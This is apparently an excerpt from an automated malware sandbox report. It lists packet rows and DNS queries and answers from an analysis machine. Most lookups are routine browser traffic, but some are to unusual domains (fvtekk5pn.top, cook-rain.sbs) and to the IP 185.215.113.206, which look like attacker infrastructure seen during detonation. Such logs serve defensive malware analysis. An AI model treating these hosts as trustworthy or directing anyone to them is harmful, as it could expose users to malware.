Nov 20, 2024 08:09:25.990210056 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.990221977 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.990232944 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.990240097 CET	49765	80	192.168.2.5	185.215.113.206

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 08:09:05.036274910 CET	192.168.2.5	1.1.1.1	0x28b2	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:09:05.036422014 CET	192.168.2.5	1.1.1.1	0xffac	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 20, 2024 08:09:07.948033094 CET	192.168.2.5	1.1.1.1	0x6e22	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:09:07.948210955 CET	192.168.2.5	1.1.1.1	0x74d8	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 20, 2024 08:09:08.944798946 CET	192.168.2.5	1.1.1.1	0x5e0a	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:09:08.944972992 CET	192.168.2.5	1.1.1.1	0x456f	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 20, 2024 08:09:15.565804958 CET	192.168.2.5	1.1.1.1	0xab72	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:09:15.565948963 CET	192.168.2.5	1.1.1.1	0x9c6b	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 20, 2024 08:09:16.913476944 CET	192.168.2.5	1.1.1.1	0xc55e	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:09:16.913661957 CET	192.168.2.5	1.1.1.1	0xb6d3	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 20, 2024 08:09:18.356264114 CET	192.168.2.5	1.1.1.1	0x11fb	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:09:18.357052088 CET	192.168.2.5	1.1.1.1	0x6750	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 20, 2024 08:09:18.358834028 CET	192.168.2.5	1.1.1.1	0xbd1c	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:09:18.358969927 CET	192.168.2.5	1.1.1.1	0x2e7e	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 20, 2024 08:09:18.375124931 CET	192.168.2.5	1.1.1.1	0xe287	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:09:18.375575066 CET	192.168.2.5	1.1.1.1	0x794a	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 20, 2024 08:09:18.388978004 CET	192.168.2.5	1.1.1.1	0x2f1	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:09:18.389257908 CET	192.168.2.5	1.1.1.1	0x6711	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 20, 2024 08:09:19.234333038 CET	192.168.2.5	1.1.1.1	0x99f3	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:09:19.234477043 CET	192.168.2.5	1.1.1.1	0xcae2	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 20, 2024 08:09:20.326925039 CET	192.168.2.5	1.1.1.1	0x7165	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:09:20.327163935 CET	192.168.2.5	1.1.1.1	0xa963	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 20, 2024 08:09:20.328722954 CET	192.168.2.5	1.1.1.1	0xd945	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:09:20.328907013 CET	192.168.2.5	1.1.1.1	0x69e0	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 20, 2024 08:09:20.417232037 CET	192.168.2.5	1.1.1.1	0xdcf0	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:09:20.417388916 CET	192.168.2.5	1.1.1.1	0xc7d4	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 20, 2024 08:10:13.803035021 CET	192.168.2.5	1.1.1.1	0x303	Standard query (0)	home.fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:13.803260088 CET	192.168.2.5	1.1.1.1	0xeb28	Standard query (0)	home.fvtekk5pn.top	28	IN (0x0001)	false
Nov 20, 2024 08:10:20.081624985 CET	192.168.2.5	1.1.1.1	0x346c	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:30.338912010 CET	192.168.2.5	1.1.1.1	0xe607	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:30.339020014 CET	192.168.2.5	1.1.1.1	0x6c12	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 20, 2024 08:10:30.394555092 CET	192.168.2.5	1.1.1.1	0xb832	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:30.394792080 CET	192.168.2.5	1.1.1.1	0xf1f2	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 20, 2024 08:10:30.399091005 CET	192.168.2.5	1.1.1.1	0x9706	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:30.399275064 CET	192.168.2.5	1.1.1.1	0xd332	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 20, 2024 08:10:30.401284933 CET	192.168.2.5	1.1.1.1	0xd6	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:30.401535988 CET	192.168.2.5	1.1.1.1	0xd15	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 20, 2024 08:10:34.010128021 CET	192.168.2.5	1.1.1.1	0xbe0	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:34.010267973 CET	192.168.2.5	1.1.1.1	0x670b	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 20, 2024 08:10:37.140935898 CET	192.168.2.5	1.1.1.1	0xd657	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:37.150798082 CET	192.168.2.5	1.1.1.1	0xa3de	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 20, 2024 08:10:38.609375954 CET	192.168.2.5	1.1.1.1	0x1b07	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:38.609750032 CET	192.168.2.5	1.1.1.1	0xcb79	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:38.627857924 CET	192.168.2.5	1.1.1.1	0x27da	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:38.653932095 CET	192.168.2.5	1.1.1.1	0x3c28	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 20, 2024 08:10:38.655075073 CET	192.168.2.5	1.1.1.1	0x4f1f	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:38.662210941 CET	192.168.2.5	1.1.1.1	0x237e	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 20, 2024 08:10:39.261379004 CET	192.168.2.5	1.1.1.1	0x5a0b	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:39.261755943 CET	192.168.2.5	1.1.1.1	0xfbf0	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:39.271672010 CET	192.168.2.5	1.1.1.1	0x941b	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:39.281459093 CET	192.168.2.5	1.1.1.1	0xbb46	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:39.289239883 CET	192.168.2.5	1.1.1.1	0xc046	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 20, 2024 08:10:39.936227083 CET	192.168.2.5	1.1.1.1	0x57c0	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:39.968230009 CET	192.168.2.5	1.1.1.1	0xd03e	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:39.973180056 CET	192.168.2.5	1.1.1.1	0x7620	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:40.058110952 CET	192.168.2.5	1.1.1.1	0xfb03	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:40.058651924 CET	192.168.2.5	1.1.1.1	0x1100	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 20, 2024 08:10:40.074878931 CET	192.168.2.5	1.1.1.1	0x94ee	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 20, 2024 08:10:41.079446077 CET	192.168.2.5	1.1.1.1	0x88f3	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:41.079611063 CET	192.168.2.5	1.1.1.1	0xa3eb	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 20, 2024 08:10:43.821445942 CET	192.168.2.5	1.1.1.1	0xdd18	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:43.821497917 CET	192.168.2.5	1.1.1.1	0xabe7	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 20, 2024 08:10:45.611460924 CET	192.168.2.5	1.1.1.1	0xfd85	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:45.613112926 CET	192.168.2.5	1.1.1.1	0xc8d4	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:45.713179111 CET	192.168.2.5	1.1.1.1	0x9157	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:45.720482111 CET	192.168.2.5	1.1.1.1	0x1970	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 20, 2024 08:11:13.080185890 CET	192.168.2.5	1.1.1.1	0xcf82	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 20, 2024 08:11:13.206878901 CET	192.168.2.5	1.1.1.1	0x64ee	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 20, 2024 08:11:13.350945950 CET	192.168.2.5	1.1.1.1	0x643a	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 20, 2024 08:11:13.684779882 CET	192.168.2.5	1.1.1.1	0xb91a	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:11:13.697937965 CET	192.168.2.5	1.1.1.1	0x4430	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:11:13.698962927 CET	192.168.2.5	1.1.1.1	0xacfa	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 20, 2024 08:11:19.730190039 CET	192.168.2.5	1.1.1.1	0x3ec1	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:11:19.730317116 CET	192.168.2.5	1.1.1.1	0x7866	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 20, 2024 08:11:20.206703901 CET	192.168.2.5	1.1.1.1	0x82d4	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:11:20.518857002 CET	192.168.2.5	1.1.1.1	0xb847	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:11:20.518965006 CET	192.168.2.5	1.1.1.1	0x968	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 20, 2024 08:11:31.550290108 CET	192.168.2.5	1.1.1.1	0x4c2c	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:11:38.008335114 CET	192.168.2.5	1.1.1.1	0x77d2	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 20, 2024 08:11:38.195069075 CET	192.168.2.5	1.1.1.1	0xf5ad	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:11:38.843699932 CET	192.168.2.5	1.1.1.1	0x86f5	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:11:38.852353096 CET	192.168.2.5	1.1.1.1	0x2506	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 20, 2024 08:11:38.915437937 CET	192.168.2.5	1.1.1.1	0x87d1	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:11:38.928148031 CET	192.168.2.5	1.1.1.1	0x71d7	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 20, 2024 08:11:39.017630100 CET	192.168.2.5	1.1.1.1	0x74c3	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 20, 2024 08:11:39.298733950 CET	192.168.2.5	1.1.1.1	0x50d3	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:11:57.426618099 CET	192.168.2.5	1.1.1.1	0x7f33	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:12:08.502943993 CET	192.168.2.5	1.1.1.1	0xcfce	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:12:08.535517931 CET	192.168.2.5	1.1.1.1	0xbf75	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 20, 2024 08:12:37.695071936 CET	192.168.2.5	1.1.1.1	0xc1f3	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:12:58.802720070 CET	192.168.2.5	1.1.1.1	0xed4f	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:12:58.810770035 CET	192.168.2.5	1.1.1.1	0x2856	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:14:19.322983980 CET	192.168.2.5	1.1.1.1	0x366e	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:14:38.418478012 CET	192.168.2.5	1.1.1.1	0x710d	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:16:21.932183981 CET	192.168.2.5	1.1.1.1	0x4672	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:16:38.753931999 CET	192.168.2.5	1.1.1.1	0x9bca	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:16:38.754188061 CET	192.168.2.5	1.1.1.1	0x6dca	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:16:38.765353918 CET	192.168.2.5	1.1.1.1	0x4cd3	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 20, 2024 08:16:39.247658968 CET	192.168.2.5	1.1.1.1	0x5a29	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 08:09:05.043435097 CET	1.1.1.1	192.168.2.5	0x28b2	No error (0)	www.google.com		142.250.186.68	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:09:05.043452978 CET	1.1.1.1	192.168.2.5	0xffac	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 20, 2024 08:09:07.955064058 CET	1.1.1.1	192.168.2.5	0x6e22	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:09:07.955064058 CET	1.1.1.1	192.168.2.5	0x6e22	No error (0)	plus.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:09:07.955080032 CET	1.1.1.1	192.168.2.5	0x74d8	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:09:08.951975107 CET	1.1.1.1	192.168.2.5	0x5e0a	No error (0)	play.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:09:15.572501898 CET	1.1.1.1	192.168.2.5	0x9c6b	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:09:15.572738886 CET	1.1.1.1	192.168.2.5	0xab72	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:09:15.645262003 CET	1.1.1.1	192.168.2.5	0x18f6	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:09:15.645262003 CET	1.1.1.1	192.168.2.5	0x18f6	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:09:15.646631956 CET	1.1.1.1	192.168.2.5	0xce02	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:09:16.920412064 CET	1.1.1.1	192.168.2.5	0xb6d3	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:09:16.921168089 CET	1.1.1.1	192.168.2.5	0xc55e	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:09:18.362925053 CET	1.1.1.1	192.168.2.5	0x11fb	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:09:18.364686012 CET	1.1.1.1	192.168.2.5	0x6750	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:09:18.366465092 CET	1.1.1.1	192.168.2.5	0xbd1c	No error (0)	sb.scorecardresearch.com		18.245.60.53	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:09:18.366465092 CET	1.1.1.1	192.168.2.5	0xbd1c	No error (0)	sb.scorecardresearch.com		18.245.60.72	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:09:18.366465092 CET	1.1.1.1	192.168.2.5	0xbd1c	No error (0)	sb.scorecardresearch.com		18.245.60.107	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:09:18.366465092 CET	1.1.1.1	192.168.2.5	0xbd1c	No error (0)	sb.scorecardresearch.com		18.245.60.76	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:09:18.381748915 CET	1.1.1.1	192.168.2.5	0xe287	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:09:18.382392883 CET	1.1.1.1	192.168.2.5	0x794a	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:09:18.395643950 CET	1.1.1.1	192.168.2.5	0x2f1	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:09:18.395740032 CET	1.1.1.1	192.168.2.5	0x6711	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:09:19.241024017 CET	1.1.1.1	192.168.2.5	0x99f3	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:09:19.241024017 CET	1.1.1.1	192.168.2.5	0x99f3	No error (0)	googlehosted.l.googleusercontent.com		216.58.206.33	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:09:19.241338015 CET	1.1.1.1	192.168.2.5	0xcae2	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:09:20.333762884 CET	1.1.1.1	192.168.2.5	0x7165	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:09:20.333762884 CET	1.1.1.1	192.168.2.5	0x7165	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:09:20.333780050 CET	1.1.1.1	192.168.2.5	0xa963	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 20, 2024 08:09:20.335279942 CET	1.1.1.1	192.168.2.5	0xd945	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:09:20.335279942 CET	1.1.1.1	192.168.2.5	0xd945	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:09:20.336194992 CET	1.1.1.1	192.168.2.5	0x69e0	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 20, 2024 08:09:20.423911095 CET	1.1.1.1	192.168.2.5	0xc7d4	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 20, 2024 08:09:20.424079895 CET	1.1.1.1	192.168.2.5	0xdcf0	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:09:20.424079895 CET	1.1.1.1	192.168.2.5	0xdcf0	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:09:20.805558920 CET	1.1.1.1	192.168.2.5	0x7278	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:09:20.805572987 CET	1.1.1.1	192.168.2.5	0x127e	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:09:20.805572987 CET	1.1.1.1	192.168.2.5	0x127e	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:09:21.830540895 CET	1.1.1.1	192.168.2.5	0x6e3c	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:09:21.830540895 CET	1.1.1.1	192.168.2.5	0x6e3c	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:14.959245920 CET	1.1.1.1	192.168.2.5	0x303	No error (0)	home.fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:20.120151043 CET	1.1.1.1	192.168.2.5	0x346c	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:20.120151043 CET	1.1.1.1	192.168.2.5	0x346c	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:31.270556927 CET	1.1.1.1	192.168.2.5	0xd6	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:31.270556927 CET	1.1.1.1	192.168.2.5	0xd6	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:31.270570993 CET	1.1.1.1	192.168.2.5	0x9706	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:31.270570993 CET	1.1.1.1	192.168.2.5	0x9706	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:31.270733118 CET	1.1.1.1	192.168.2.5	0xb832	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:31.270733118 CET	1.1.1.1	192.168.2.5	0xb832	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:31.270843983 CET	1.1.1.1	192.168.2.5	0xd332	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 20, 2024 08:10:31.271074057 CET	1.1.1.1	192.168.2.5	0xd15	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 20, 2024 08:10:31.271087885 CET	1.1.1.1	192.168.2.5	0xf1f2	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 20, 2024 08:10:31.893704891 CET	1.1.1.1	192.168.2.5	0xe607	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:34.955107927 CET	1.1.1.1	192.168.2.5	0xbe0	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:37.091649055 CET	1.1.1.1	192.168.2.5	0x860d	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:37.148108006 CET	1.1.1.1	192.168.2.5	0xd657	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:38.616103888 CET	1.1.1.1	192.168.2.5	0x1b07	No error (0)	youtube.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:38.616453886 CET	1.1.1.1	192.168.2.5	0xcb79	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:10:38.616453886 CET	1.1.1.1	192.168.2.5	0xcb79	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:38.634613991 CET	1.1.1.1	192.168.2.5	0x27da	No error (0)	youtube.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:38.660531044 CET	1.1.1.1	192.168.2.5	0x3c28	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 20, 2024 08:10:38.661688089 CET	1.1.1.1	192.168.2.5	0x4f1f	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:38.668927908 CET	1.1.1.1	192.168.2.5	0x237e	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 20, 2024 08:10:39.268843889 CET	1.1.1.1	192.168.2.5	0xfbf0	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:39.268843889 CET	1.1.1.1	192.168.2.5	0xfbf0	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:39.268856049 CET	1.1.1.1	192.168.2.5	0x5a0b	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:39.280560017 CET	1.1.1.1	192.168.2.5	0x941b	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:39.288467884 CET	1.1.1.1	192.168.2.5	0xbb46	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:39.943151951 CET	1.1.1.1	192.168.2.5	0x57c0	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:10:39.943151951 CET	1.1.1.1	192.168.2.5	0x57c0	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
